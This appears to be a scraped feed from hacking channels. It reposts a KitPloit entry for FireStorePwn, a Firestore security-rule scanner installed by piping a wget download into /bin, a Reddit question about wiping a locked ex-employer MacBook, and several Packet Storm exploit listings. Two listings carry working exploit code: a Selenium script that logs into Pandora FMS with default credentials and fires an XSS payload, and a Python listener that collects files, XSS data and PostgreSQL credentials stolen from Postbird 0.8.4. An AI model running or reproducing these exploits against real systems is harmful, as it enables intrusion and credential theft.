KitPloit - PenTest Tools!
FireStorePwn - Firestore Database Vulnerability Scanner Using APKs

https://1.bp.blogspot.com/-mL438l63hTg/YKrzEkXE_-I/AAAAAAAAWRI/87DCc19R3mkIcrf4T7PdNh_tcQ6UoYWVACNcBGAsYHQ/w626-h640/FireStorePwn_1.png
fsp scans an APK and checks the Firestore database for rules that are not secure, testing with or without authentication.

If there are problems with the security rules, attackers could steal, modify or delete data and raise the bill.

Install fsp

sudo wget https://raw.githubusercontent.com/takito1812/FireStorePwn/main/fsp -O /bin/fsp
sudo chmod +x /bin/fsp

Running fsp

Scanning an APK without authentication

fsp app.apk

Scanning an APK with authentication


With email and password.

fsp app.apk test@test.com:123456

With a token.

fsp app.apk eyJhbGciO...
Download FireStorePwn

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Opening an old, locked MacBook Pro

My old job went out of business. They had issued me a 2019 MacBook Pro. When the company shut down, they never took it back. It's been sitting around untouched for a year as I was waiting for someone to ask for it back. I am assuming that day will never happen.

So what do I do with it now? I am not an admin on the machine, is there a way to wipe it clean and start over with it?

submitted by /u/destroydesigns
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
QT PNG ICC Processing Out-Of-Bounds Read

https://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png
The QImage class can read out-of-bounds when reading a specially-crafted PNG file, where a tag byte offset goes out of bounds. This could potentially allow an attacker to determine values in memory based on the QImage pixels, if QT is used to process untrusted images.

MD5 | 26119d4fbb3aaf3d523b1a23162d477b

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CommScope Ruckus IoT Controller 1.7.1.0 Hard-Coded System Passwords

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CommScope Ruckus IoT Controller 1.7.1.0 Web Application Directory Traversal

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CommScope Ruckus IoT Controller 1.7.1.0 Hard-Coded Web Application Administrator Password

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CommScope Ruckus IoT Controller 1.7.1.0 Unauthenticated API Endpoints

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CommScope Ruckus IoT Controller 1.7.1.0 Hard-Coded API Keys Exposed

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CommScope Ruckus IoT Controller 1.7.1.0 Web Application Arbitrary Read/Write

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Pandora FMS 6.0SP3 Cross Site Scripting

https://4.bp.blogspot.com/-f2P6cxL3l-g/WWlvB5J0BVI/AAAAAAAAIKc/5_BozSRH9sAdcCSQmN2ufmoLAOqLp1P9QCLcBGAs/s1600/h125.png
Pandora FMS version 6.0SP3 suffers from a cross site scripting vulnerability.

MD5 | c93c017b2a3bd57fd53b2f0c4eddcf31

Download
# Exploit Title: XSS vulnerability for (keywords) searching parameter in
pandorafms-6.0SP3/pandora_console
# Author: @nu11secur1ty
# Testing and Debugging: @nu11secur1ty
# Date: 05.27.2021
# Vendor: https://pandorafms.com/
# Link: https://github.com/pandorafms/pandorafms/releases
# CVE: 2021-0527-nu11secur1ty
# Proof:
https://github.com/nu11secur1ty/CVE-mitre/blob/main/Pandora%20FMS%206.0%20SP3-XSS-Vulnerability/Pandora%20FMS%206.0%20SP3-XSS-Vulnerability.gif

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-0527-nu11secur1ty

from selenium import webdriver
import time
import os, sys
# Vendor: https://pandorafms.com/
website_link="
http://192.168.1.160/pandorafms-6.0SP3/pandora_console/index.php"

# enter your login username
username="admin"

# enter your login password
password="pandora"

#enter the element for username input field
element_for_username="nick"

#enter the element for password input field
element_for_password="pass"

#enter the element for submit button
element_for_submit="login_button"
#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users

time.sleep(3)
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

# Exploit Pandora FMS 6.0 SP3-XSS-Vulnerability for (keywords) searching
parameter
time.sleep(3)
# Payload
browser.get(("
http://192.168.1.160/pandorafms-6.0SP3/pandora_console/index.php?keywords=%3Cscript%3Ealert%28%22nu11secur1ty_is_here%22%29%3B%3C%2Fscript%3E&head_search_keywords=abc"))
print("The payload is deployed, your GET parameter is vulnerable...\n")

except Exception:
#### This exception occurs if the element is not found on the webpage.
print("Sorry, but this user who you searching for is destroyed by using of
MySQL vulnerability in backend.php...")
----------------------------------------------------------------------------------------

# Exploit Title: XSS vulnerability for (keywords) searching parameter in
pandorafms-6.0SP3/pandora_console
# Date: 05.27.2021
# Exploit Authotr idea: @nu11secur1ty
# Exploit Debugging: @nu11secur1ty
# Vendor Homepage: https://pandorafms.com/
# Software Link: https://github.com/pandorafms/pandorafms/releases
# Steps to Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/blob/main/Pandora%20FMS%206.0%20SP3-XSS-Vulnerability/Pandora%20FMS%206.0%20SP3-XSS-Vulnerability.gif


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Postbird 0.8.4 Cross Site Scripting / Local File Inclusion

https://3.bp.blogspot.com/-PWecZP4mFlw/WWlvEzu2ALI/AAAAAAAAILE/oNE1-kA8UGAvJ1jZSurfN5UYJhXI-p6VQCLcBGAs/s1600/h134.png
Postbird version 0.8.4 suffers from a javascript injection vulnerability that allows for cross site scripting and local file inclusion.

MD5 | f2d171b04734775d46bcc4f5dc3a2213

Download
# Exploit Title: Postbird 0.8.4 - Javascript Injection
# Date: [26 May 2021]
# Exploit Author: Debshubra Chakraborty
# Vendor Homepage: https://github.com/paxa/postbird
# Software Link: https://www.electronjs.org/apps/postbird
# Version: 0.8.4
# Tested on: Linux
# CVE : CVE-2021-33570

"""
XSS Payload


LFI Payload


PostgreSQL Password Stealing Payload


"""

from http.server import BaseHTTPRequestHandler, HTTPServer
import urllib.parse
import re

hostName = '0.0.0.0'
serverPort = 5555

class MyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
parse(urllib.parse.unquote(self.requestline))

def log_message(self, format, *args):
return
def parse(data):
expression = re.search('\S+=', data)
attr = expression.group()

if attr[2:len(attr)-1] == 'file':
data = data[12:len(data)-11]
data = data.rsplit('\\n')
print(f'\n[+] File received from LFI: \n\n')
for output in data:
print(output)

elif attr[2:len(attr)-1] == 'xss':
data = data[11:len(data)-10]
print(f'\n[+] Data exfiltration from Stored XSS: \n\n{data}')

elif attr[2:len(attr)-1] == 'credentials':
pos = re.search('{"\S+:', data)
data = data[pos.start():len(data)-11]
for i in range(2, len(data), 1):
if data[i] == '"':
pos = i
break

host = data[2:pos]
data = data[14:]
data = data.rsplit(',')
print(f'\n\n[+] The Database credentials received\n\nHost = {host}')
for output in data:
print(output)

else:
print(f'\n\n[-] Unknown header attribute found, atribute = {attr[2:len(attr)-1]}')
def main():
global hostName, serverPort
webServer = HTTPServer((hostName, serverPort), MyServer)
print("Server started http://%s:%s" % (hostName, serverPort))

try:
webServer.serve_forever()

except KeyboardInterrupt:
pass

webServer.server_close()
print("\nServer stopped.")
if __name__ == "__main__":
main()


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video